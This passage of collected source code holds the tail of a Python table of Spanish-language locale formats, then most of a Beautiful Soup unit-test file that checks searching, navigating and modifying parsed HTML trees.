'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', ''), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_DO', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_EC', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_ES', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_GT', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_HN', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_MX', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', '\u2009'), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_NI', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_PA', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_PE', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_PR', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', '
codeparrot/github-code-clean
# -*- coding: utf-8 -*- """Tests for Beautiful Soup's tree traversal methods. The tree traversal methods are the main advantage of using Beautiful Soup over just using a parser. Different parsers will build different Beautiful Soup trees given the same markup, but all Beautiful Soup trees can be traversed with the methods tested here. """ import copy import pickle import re import warnings from bs4 import BeautifulSoup from bs4.builder import ( builder_registry, HTMLParserTreeBuilder, ) from bs4.element import ( CData, Doctype, NavigableString, SoupStrainer, Tag, ) from bs4.testing import ( SoupTest, skipIf, ) XML_BUILDER_PRESENT = (builder_registry.lookup("xml") is not None) LXML_PRESENT = (builder_registry.lookup("lxml") is not None) class TreeTest(SoupTest): def assertSelects(self, tags, should_match): """Make sure that the given tags have the correct text. This is used in tests that define a bunch of tags, each containing a single string, and then select certain strings by some mechanism. """ self.assertEqual([tag.string for tag in tags], should_match) def assertSelectsIDs(self, tags, should_match): """Make sure that the given tags have the correct IDs. This is used in tests that define a bunch of tags, each containing a single string, and then select certain strings by some mechanism. """ self.assertEqual([tag['id'] for tag in tags], should_match) class TestFind(TreeTest): """Basic tests of the find() method. find() just calls find_all() with limit=1, so it's not tested all that thouroughly here. """ def test_find_tag(self): soup = self.soup("<a>1</a><b>2</b><a>3</a><b>4</b>") self.assertEqual(soup.find("b").string, "2") def test_unicode_text_find(self): soup = self.soup(u'<h1>Räksmörgås</h1>') self.assertEqual(soup.find(text=u'Räksmörgås'), u'Räksmörgås') class TestFindAll(TreeTest): """Basic tests of the find_all() method.""" def test_find_all_text_nodes(self): """You can search the tree for text nodes.""" soup = self.soup("<html>Foo<b>bar</b>\xbb</html>") # Exact match. self.assertEqual(soup.find_all(text="bar"), [u"bar"]) # Match any of a number of strings. self.assertEqual( soup.find_all(text=["Foo", "bar"]), [u"Foo", u"bar"]) # Match a regular expression. self.assertEqual(soup.find_all(text=re.compile('.*')), [u"Foo", u"bar", u'\xbb']) # Match anything. self.assertEqual(soup.find_all(text=True), [u"Foo", u"bar", u'\xbb']) def test_find_all_limit(self): """You can limit the number of items returned by find_all.""" soup = self.soup("<a>1</a><a>2</a><a>3</a><a>4</a><a>5</a>") self.assertSelects(soup.find_all('a', limit=3), ["1", "2", "3"]) self.assertSelects(soup.find_all('a', limit=1), ["1"]) self.assertSelects( soup.find_all('a', limit=10), ["1", "2", "3", "4", "5"]) # A limit of 0 means no limit. self.assertSelects( soup.find_all('a', limit=0), ["1", "2", "3", "4", "5"]) def test_calling_a_tag_is_calling_findall(self): soup = self.soup("<a>1</a><b>2<a id='foo'>3</a></b>") self.assertSelects(soup('a', limit=1), ["1"]) self.assertSelects(soup.b(id="foo"), ["3"]) def test_find_all_with_self_referential_data_structure_does_not_cause_infinite_recursion(self): soup = self.soup("<a></a>") # Create a self-referential list. l = [] l.append(l) # Without special code in _normalize_search_value, this would cause infinite # recursion. self.assertEqual([], soup.find_all(l)) class TestFindAllBasicNamespaces(TreeTest): def test_find_by_namespaced_name(self): soup = self.soup('<mathml:msqrt>4</mathml:msqrt><a svg:fill="red">') self.assertEqual("4", soup.find("mathml:msqrt").string) self.assertEqual("a", soup.find(attrs= { "svg:fill" : "red" }).name) class TestFindAllByName(TreeTest): """Test ways of finding tags by tag name.""" def setUp(self): super(TreeTest, self).setUp() self.tree = self.soup("""<a>First tag.</a> <b>Second tag.</b> <c>Third <a>Nested tag.</a> tag.</c>""") def test_find_all_by_tag_name(self): # Find all the <a> tags. self.assertSelects( self.tree.find_all('a'), ['First tag.', 'Nested tag.']) def test_find_all_by_name_and_text(self): self.assertSelects( self.tree.find_all('a', text='First tag.'), ['First tag.']) self.assertSelects( self.tree.find_all('a', text=True), ['First tag.', 'Nested tag.']) self.assertSelects( self.tree.find_all('a', text=re.compile("tag")), ['First tag.', 'Nested tag.']) def test_find_all_on_non_root_element(self): # You can call find_all on any node, not just the root. self.assertSelects(self.tree.c.find_all('a'), ['Nested tag.']) def test_calling_element_invokes_find_all(self): self.assertSelects(self.tree('a'), ['First tag.', 'Nested tag.']) def test_find_all_by_tag_strainer(self): self.assertSelects( self.tree.find_all(SoupStrainer('a')), ['First tag.', 'Nested tag.']) def test_find_all_by_tag_names(self): self.assertSelects( self.tree.find_all(['a', 'b']), ['First tag.', 'Second tag.', 'Nested tag.']) def test_find_all_by_tag_dict(self): self.assertSelects( self.tree.find_all({'a' : True, 'b' : True}), ['First tag.', 'Second tag.', 'Nested tag.']) def test_find_all_by_tag_re(self): self.assertSelects( self.tree.find_all(re.compile('^[ab]$')), ['First tag.', 'Second tag.', 'Nested tag.']) def test_find_all_with_tags_matching_method(self): # You can define an oracle method that determines whether # a tag matches the search. def id_matches_name(tag): return tag.name == tag.get('id') tree = self.soup("""<a id="a">Match 1.</a> <a id="1">Does not match.</a> <b id="b">Match 2.</a>""") self.assertSelects( tree.find_all(id_matches_name), ["Match 1.", "Match 2."]) class TestFindAllByAttribute(TreeTest): def test_find_all_by_attribute_name(self): # You can pass in keyword arguments to find_all to search by # attribute. tree = self.soup(""" <a id="first">Matching a.</a> <a id="second"> Non-matching <b id="first">Matching b.</b>a. </a>""") self.assertSelects(tree.find_all(id='first'), ["Matching a.", "Matching b."]) def test_find_all_by_utf8_attribute_value(self): peace = u"םולש".encode("utf8") data = u'<a title="םולש"></a>'.encode("utf8") soup = self.soup(data) self.assertEqual([soup.a], soup.find_all(title=peace)) self.assertEqual([soup.a], soup.find_all(title=peace.decode("utf8"))) self.assertEqual([soup.a], soup.find_all(title=[peace, "something else"])) def test_find_all_by_attribute_dict(self): # You can pass in a dictionary as the argument 'attrs'. This # lets you search for attributes like 'name' (a fixed argument # to find_all) and 'class' (a reserved word in Python.) tree = self.soup(""" <a name="name1" class="class1">Name match.</a> <a name="name2" class="class2">Class match.</a> <a name="name3" class="class3">Non-match.</a> <name1>A tag called 'name1'.</name1> """) # This doesn't do what you want. self.assertSelects(tree.find_all(name='name1'), ["A tag called 'name1'."]) # This does what you want. self.assertSelects(tree.find_all(attrs={'name' : 'name1'}), ["Name match."]) self.assertSelects(tree.find_all(attrs={'class' : 'class2'}), ["Class match."]) def test_find_all_by_class(self): tree = self.soup(""" <a class="1">Class 1.</a> <a class="2">Class 2.</a> <b class="1">Class 1.</b> <c class="3 4">Class 3 and 4.</c> """) # Passing in the class_ keyword argument will search against # the 'class' attribute. self.assertSelects(tree.find_all('a', class_='1'), ['Class 1.']) self.assertSelects(tree.find_all('c', class_='3'), ['Class 3 and 4.']) self.assertSelects(tree.find_all('c', class_='4'), ['Class 3 and 4.']) # Passing in a string to 'attrs' will also search the CSS class. self.assertSelects(tree.find_all('a', '1'), ['Class 1.']) self.assertSelects(tree.find_all(attrs='1'), ['Class 1.', 'Class 1.']) self.assertSelects(tree.find_all('c', '3'), ['Class 3 and 4.']) self.assertSelects(tree.find_all('c', '4'), ['Class 3 and 4.']) def test_find_by_class_when_multiple_classes_present(self): tree = self.soup("<gar class='foo bar'>Found it</gar>") f = tree.find_all("gar", class_=re.compile("o")) self.assertSelects(f, ["Found it"]) f = tree.find_all("gar", class_=re.compile("a")) self.assertSelects(f, ["Found it"]) # Since the class is not the string "foo bar", but the two # strings "foo" and "bar", this will not find anything. f = tree.find_all("gar", class_=re.compile("o b")) self.assertSelects(f, []) def test_find_all_with_non_dictionary_for_attrs_finds_by_class(self): soup = self.soup("<a class='bar'>Found it</a>") self.assertSelects(soup.find_all("a", re.compile("ba")), ["Found it"]) def big_attribute_value(value): return len(value) > 3 self.assertSelects(soup.find_all("a", big_attribute_value), []) def small_attribute_value(value): return len(value) <= 3 self.assertSelects( soup.find_all("a", small_attribute_value), ["Found it"]) def test_find_all_with_string_for_attrs_finds_multiple_classes(self): soup = self.soup('<a class="foo bar"></a><a class="foo"></a>') a, a2 = soup.find_all("a") self.assertEqual([a, a2], soup.find_all("a", "foo")) self.assertEqual([a], soup.find_all("a", "bar")) # If you specify the class as a string that contains a # space, only that specific value will be found. self.assertEqual([a], soup.find_all("a", class_="foo bar")) self.assertEqual([a], soup.find_all("a", "foo bar")) self.assertEqual([], soup.find_all("a", "bar foo")) def test_find_all_by_attribute_soupstrainer(self): tree = self.soup(""" <a id="first">Match.</a> <a id="second">Non-match.</a>""") strainer = SoupStrainer(attrs={'id' : 'first'}) self.assertSelects(tree.find_all(strainer), ['Match.']) def test_find_all_with_missing_atribute(self): # You can pass in None as the value of an attribute to find_all. # This will match tags that do not have that attribute set. tree = self.soup("""<a id="1">ID present.</a> <a>No ID present.</a> <a id="">ID is empty.</a>""") self.assertSelects(tree.find_all('a', id=None), ["No ID present."]) def test_find_all_with_defined_attribute(self): # You can pass in None as the value of an attribute to find_all. # This will match tags that have that attribute set to any value. tree = self.soup("""<a id="1">ID present.</a> <a>No ID present.</a> <a id="">ID is empty.</a>""") self.assertSelects( tree.find_all(id=True), ["ID present.", "ID is empty."]) def test_find_all_with_numeric_attribute(self): # If you search for a number, it's treated as a string. tree = self.soup("""<a id=1>Unquoted attribute.</a> <a id="1">Quoted attribute.</a>""") expected = ["Unquoted attribute.", "Quoted attribute."] self.assertSelects(tree.find_all(id=1), expected) self.assertSelects(tree.find_all(id="1"), expected) def test_find_all_with_list_attribute_values(self): # You can pass a list of attribute values instead of just one, # and you'll get tags that match any of the values. tree = self.soup("""<a id="1">1</a> <a id="2">2</a> <a id="3">3</a> <a>No ID.</a>""") self.assertSelects(tree.find_all(id=["1", "3", "4"]), ["1", "3"]) def test_find_all_with_regular_expression_attribute_value(self): # You can pass a regular expression as an attribute value, and # you'll get tags whose values for that attribute match the # regular expression. tree = self.soup("""<a id="a">One a.</a> <a id="aa">Two as.</a> <a id="ab">Mixed as and bs.</a> <a id="b">One b.</a> <a>No ID.</a>""") self.assertSelects(tree.find_all(id=re.compile("^a+$")), ["One a.", "Two as."]) def test_find_by_name_and_containing_string(self): soup = self.soup("<b>foo</b><b>bar</b><a>foo</a>") a = soup.a self.assertEqual([a], soup.find_all("a", text="foo")) self.assertEqual([], soup.find_all("a", text="bar")) self.assertEqual([], soup.find_all("a", text="bar")) def test_find_by_name_and_containing_string_when_string_is_buried(self): soup = self.soup("<a>foo</a><a><b><c>foo</c></b></a>") self.assertEqual(soup.find_all("a"), soup.find_all("a", text="foo")) def test_find_by_attribute_and_containing_string(self): soup = self.soup('<b id="1">foo</b><a id="2">foo</a>') a = soup.a self.assertEqual([a], soup.find_all(id=2, text="foo")) self.assertEqual([], soup.find_all(id=1, text="bar")) class TestIndex(TreeTest): """Test Tag.index""" def test_index(self): tree = self.soup("""<div> <a>Identical</a> <b>Not identical</b> <a>Identical</a> <c><d>Identical with child</d></c> <b>Also not identical</b> <c><d>Identical with child</d></c> </div>""") div = tree.div for i, element in enumerate(div.contents): self.assertEqual(i, div.index(element)) self.assertRaises(ValueError, tree.index, 1) class TestParentOperations(TreeTest): """Test navigation and searching through an element's parents.""" def setUp(self): super(TestParentOperations, self).setUp() self.tree = self.soup('''<ul id="empty"></ul> <ul id="top"> <ul id="middle"> <ul id="bottom"> <b>Start here</b> </ul> </ul>''') self.start = self.tree.b def test_parent(self): self.assertEqual(self.start.parent['id'], 'bottom') self.assertEqual(self.start.parent.parent['id'], 'middle') self.assertEqual(self.start.parent.parent.parent['id'], 'top') def test_parent_of_top_tag_is_soup_object(self): top_tag = self.tree.contents[0] self.assertEqual(top_tag.parent, self.tree) def test_soup_object_has_no_parent(self): self.assertEqual(None, self.tree.parent) def test_find_parents(self): self.assertSelectsIDs( self.start.find_parents('ul'), ['bottom', 'middle', 'top']) self.assertSelectsIDs( self.start.find_parents('ul', id="middle"), ['middle']) def test_find_parent(self): self.assertEqual(self.start.find_parent('ul')['id'], 'bottom') def test_parent_of_text_element(self): text = self.tree.find(text="Start here") self.assertEqual(text.parent.name, 'b') def test_text_element_find_parent(self): text = self.tree.find(text="Start here") self.assertEqual(text.find_parent('ul')['id'], 'bottom') def test_parent_generator(self): parents = [parent['id'] for parent in self.start.parents if parent is not None and 'id' in parent.attrs] self.assertEqual(parents, ['bottom', 'middle', 'top']) class ProximityTest(TreeTest): def setUp(self): super(TreeTest, self).setUp() self.tree = self.soup( '<html id="start"><head></head><body><b id="1">One</b><b id="2">Two</b><b id="3">Three</b></body></html>') class TestNextOperations(ProximityTest): def setUp(self): super(TestNextOperations, self).setUp() self.start = self.tree.b def test_next(self): self.assertEqual(self.start.next_element, "One") self.assertEqual(self.start.next_element.next_element['id'], "2") def test_next_of_last_item_is_none(self): last = self.tree.find(text="Three") self.assertEqual(last.next_element, None) def test_next_of_root_is_none(self): # The document root is outside the next/previous chain. self.assertEqual(self.tree.next_element, None) def test_find_all_next(self): self.assertSelects(self.start.find_all_next('b'), ["Two", "Three"]) self.start.find_all_next(id=3) self.assertSelects(self.start.find_all_next(id=3), ["Three"]) def test_find_next(self): self.assertEqual(self.start.find_next('b')['id'], '2') self.assertEqual(self.start.find_next(text="Three"), "Three") def test_find_next_for_text_element(self): text = self.tree.find(text="One") self.assertEqual(text.find_next("b").string, "Two") self.assertSelects(text.find_all_next("b"), ["Two", "Three"]) def test_next_generator(self): start = self.tree.find(text="Two") successors = [node for node in start.next_elements] # There are two successors: the final <b> tag and its text contents. tag, contents = successors self.assertEqual(tag['id'], '3') self.assertEqual(contents, "Three") class TestPreviousOperations(ProximityTest): def setUp(self): super(TestPreviousOperations, self).setUp() self.end = self.tree.find(text="Three") def test_previous(self): self.assertEqual(self.end.previous_element['id'], "3") self.assertEqual(self.end.previous_element.previous_element, "Two") def test_previous_of_first_item_is_none(self): first = self.tree.find('html') self.assertEqual(first.previous_element, None) def test_previous_of_root_is_none(self): # The document root is outside the next/previous chain. # XXX This is broken! #self.assertEqual(self.tree.previous_element, None) pass def test_find_all_previous(self): # The <b> tag containing the "Three" node is the predecessor # of the "Three" node itself, which is why "Three" shows up # here. self.assertSelects( self.end.find_all_previous('b'), ["Three", "Two", "One"]) self.assertSelects(self.end.find_all_previous(id=1), ["One"]) def test_find_previous(self): self.assertEqual(self.end.find_previous('b')['id'], '3') self.assertEqual(self.end.find_previous(text="One"), "One") def test_find_previous_for_text_element(self): text = self.tree.find(text="Three") self.assertEqual(text.find_previous("b").string, "Three") self.assertSelects( text.find_all_previous("b"), ["Three", "Two", "One"]) def test_previous_generator(self): start = self.tree.find(text="One") predecessors = [node for node in start.previous_elements] # There are four predecessors: the <b> tag containing "One" # the <body> tag, the <head> tag, and the <html> tag. b, body, head, html = predecessors self.assertEqual(b['id'], '1') self.assertEqual(body.name, "body") self.assertEqual(head.name, "head") self.assertEqual(html.name, "html") class SiblingTest(TreeTest): def setUp(self): super(SiblingTest, self).setUp() markup = '''<html> <span id="1"> <span id="1.1"></span> </span> <span id="2"> <span id="2.1"></span> </span> <span id="3"> <span id="3.1"></span> </span> <span id="4"></span> </html>''' # All that whitespace looks good but makes the tests more # difficult. Get rid of it. markup = re.compile("\n\s*").sub("", markup) self.tree = self.soup(markup) class TestNextSibling(SiblingTest): def setUp(self): super(TestNextSibling, self).setUp() self.start = self.tree.find(id="1") def test_next_sibling_of_root_is_none(self): self.assertEqual(self.tree.next_sibling, None) def test_next_sibling(self): self.assertEqual(self.start.next_sibling['id'], '2') self.assertEqual(self.start.next_sibling.next_sibling['id'], '3') # Note the difference between next_sibling and next_element. self.assertEqual(self.start.next_element['id'], '1.1') def test_next_sibling_may_not_exist(self): self.assertEqual(self.tree.html.next_sibling, None) nested_span = self.tree.find(id="1.1") self.assertEqual(nested_span.next_sibling, None) last_span = self.tree.find(id="4") self.assertEqual(last_span.next_sibling, None) def test_find_next_sibling(self): self.assertEqual(self.start.find_next_sibling('span')['id'], '2') def test_next_siblings(self): self.assertSelectsIDs(self.start.find_next_siblings("span"), ['2', '3', '4']) self.assertSelectsIDs(self.start.find_next_siblings(id='3'), ['3']) def test_next_sibling_for_text_element(self): soup = self.soup("Foo<b>bar</b>baz") start = soup.find(text="Foo") self.assertEqual(start.next_sibling.name, 'b') self.assertEqual(start.next_sibling.next_sibling, 'baz') self.assertSelects(start.find_next_siblings('b'), ['bar']) self.assertEqual(start.find_next_sibling(text="baz"), "baz") self.assertEqual(start.find_next_sibling(text="nonesuch"), None) class TestPreviousSibling(SiblingTest): def setUp(self): super(TestPreviousSibling, self).setUp() self.end = self.tree.find(id="4") def test_previous_sibling_of_root_is_none(self): self.assertEqual(self.tree.previous_sibling, None) def test_previous_sibling(self): self.assertEqual(self.end.previous_sibling['id'], '3') self.assertEqual(self.end.previous_sibling.previous_sibling['id'], '2') # Note the difference between previous_sibling and previous_element. self.assertEqual(self.end.previous_element['id'], '3.1') def test_previous_sibling_may_not_exist(self): self.assertEqual(self.tree.html.previous_sibling, None) nested_span = self.tree.find(id="1.1") self.assertEqual(nested_span.previous_sibling, None) first_span = self.tree.find(id="1") self.assertEqual(first_span.previous_sibling, None) def test_find_previous_sibling(self): self.assertEqual(self.end.find_previous_sibling('span')['id'], '3') def test_previous_siblings(self): self.assertSelectsIDs(self.end.find_previous_siblings("span"), ['3', '2', '1']) self.assertSelectsIDs(self.end.find_previous_siblings(id='1'), ['1']) def test_previous_sibling_for_text_element(self): soup = self.soup("Foo<b>bar</b>baz") start = soup.find(text="baz") self.assertEqual(start.previous_sibling.name, 'b') self.assertEqual(start.previous_sibling.previous_sibling, 'Foo') self.assertSelects(start.find_previous_siblings('b'), ['bar']) self.assertEqual(start.find_previous_sibling(text="Foo"), "Foo") self.assertEqual(start.find_previous_sibling(text="nonesuch"), None) class TestTagCreation(SoupTest): """Test the ability to create new tags.""" def test_new_tag(self): soup = self.soup("") new_tag = soup.new_tag("foo", bar="baz") self.assertTrue(isinstance(new_tag, Tag)) self.assertEqual("foo", new_tag.name) self.assertEqual(dict(bar="baz"), new_tag.attrs) self.assertEqual(None, new_tag.parent) def test_tag_inherits_self_closing_rules_from_builder(self): if XML_BUILDER_PRESENT: xml_soup = BeautifulSoup("", "xml") xml_br = xml_soup.new_tag("br") xml_p = xml_soup.new_tag("p") # Both the <br> and <p> tag are empty-element, just because # they have no contents. self.assertEqual(b"<br/>", xml_br.encode()) self.assertEqual(b"<p/>", xml_p.encode()) html_soup = BeautifulSoup("", "html") html_br = html_soup.new_tag("br") html_p = html_soup.new_tag("p") # The HTML builder users HTML's rules about which tags are # empty-element tags, and the new tags reflect these rules. self.assertEqual(b"<br/>", html_br.encode()) self.assertEqual(b"<p></p>", html_p.encode()) def test_new_string_creates_navigablestring(self): soup = self.soup("") s = soup.new_string("foo") self.assertEqual("foo", s) self.assertTrue(isinstance(s, NavigableString)) class TestTreeModification(SoupTest): def test_attribute_modification(self): soup = self.soup('<a id="1"></a>') soup.a['id'] = 2 self.assertEqual(soup.decode(), self.document_for('<a id="2"></a>')) del(soup.a['id']) self.assertEqual(soup.decode(), self.document_for('<a></a>')) soup.a['id2'] = 'foo' self.assertEqual(soup.decode(), self.document_for('<a id2="foo"></a>')) def test_new_tag_creation(self): builder = builder_registry.lookup('html')() soup = self.soup("<body></body>", builder=builder) a = Tag(soup, builder, 'a') ol = Tag(soup, builder, 'ol') a['href'] = 'http://foo.com/' soup.body.insert(0, a) soup.body.insert(1, ol) self.assertEqual( soup.body.encode(), b'<body><a href="http://foo.com/"></a><ol></ol></body>') def test_append_to_contents_moves_tag(self): doc = """<p id="1">Don't leave me <b>here</b>.</p> <p id="2">Don\'t leave!</p>""" soup = self.soup(doc) second_para = soup.find(id='2') bold = soup.b # Move the <b> tag to the end of the second paragraph. soup.find(id='2').append(soup.b) # The <b> tag is now a child of the second paragraph. self.assertEqual(bold.parent, second_para) self.assertEqual( soup.decode(), self.document_for( '<p id="1">Don\'t leave me .</p>\n' '<p id="2">Don\'t leave!<b>here</b></p>')) def test_replace_with_returns_thing_that_was_replaced(self): text = "<a></a><b><c></c></b>" soup = self.soup(text) a = soup.a new_a = a.replace_with(soup.c) self.assertEqual(a, new_a) def test_unwrap_returns_thing_that_was_replaced(self): text = "<a><b></b><c></c></a>" soup = self.soup(text) a = soup.a new_a = a.unwrap() self.assertEqual(a, new_a) def test_replace_tag_with_itself(self): text = "<a><b></b><c>Foo<d></d></c></a><a><e></e></a>" soup = self.soup(text) c = soup.c soup.c.replace_with(c) self.assertEqual(soup.decode(), self.document_for(text)) def test_replace_tag_with_its_parent_raises_exception(self): text = "<a><b></b></a>" soup = self.soup(text) self.assertRaises(ValueError, soup.b.replace_with, soup.a) def test_insert_tag_into_itself_raises_exception(self): text = "<a><b></b></a>" soup = self.soup(text) self.assertRaises(ValueError, soup.a.insert, 0, soup.a) def test_replace_with_maintains_next_element_throughout(self): soup = self.soup('<p><a>one</a><b>three</b></p>') a = soup.a b = a.contents[0] # Make it so the <a> tag has two text children. a.insert(1, "two") # Now replace each one with the empty string. left, right = a.contents left.replaceWith('') right.replaceWith('') # The <b> tag is still connected to the tree. self.assertEqual("three", soup.b.string) def test_replace_final_node(self): soup = self.soup("<b>Argh!</b>") soup.find(text="Argh!").replace_with("Hooray!") new_text = soup.find(text="Hooray!") b = soup.b self.assertEqual(new_text.previous_element, b) self.assertEqual(new_text.parent, b) self.assertEqual(new_text.previous_element.next_element, new_text) self.assertEqual(new_text.next_element, None) def test_consecutive_text_nodes(self): # A builder should never create two consecutive text nodes, # but if you insert one next to another, Beautiful Soup will # handle it correctly. soup = self.soup("<a><b>Argh!</b><c></c></a>") soup.b.insert(1, "Hooray!") self.assertEqual( soup.decode(), self.document_for( "<a><b>Argh!Hooray!</b><c></c></a>")) new_text = soup.find(text="Hooray!") self.assertEqual(new_text.previous_element, "Argh!") self.assertEqual(new_text.previous_element.next_element, new_text) self.assertEqual(new_text.previous_sibling, "Argh!") self.assertEqual(new_text.previous_sibling.next_sibling, new_text) self.assertEqual(new_text.next_sibling, None) self.assertEqual(new_text.next_element, soup.c) def test_insert_string(self): soup = self.soup("<a></a>") soup.a.insert(0, "bar") soup.a.insert(0, "foo") # The string were added to the tag. self.assertEqual(["foo", "bar"], soup.a.contents) # And they were converted to NavigableStrings. self.assertEqual(soup.a.contents[0].next_element, "bar") def test_insert_tag(self): builder = self.default_builder soup = self.soup( "<a><b>Find</b><c>lady!</c><d></d></a>", builder=builder) magic_tag = Tag(soup, builder, 'magictag') magic_tag.insert(0, "the") soup.a.insert(1, magic_tag) 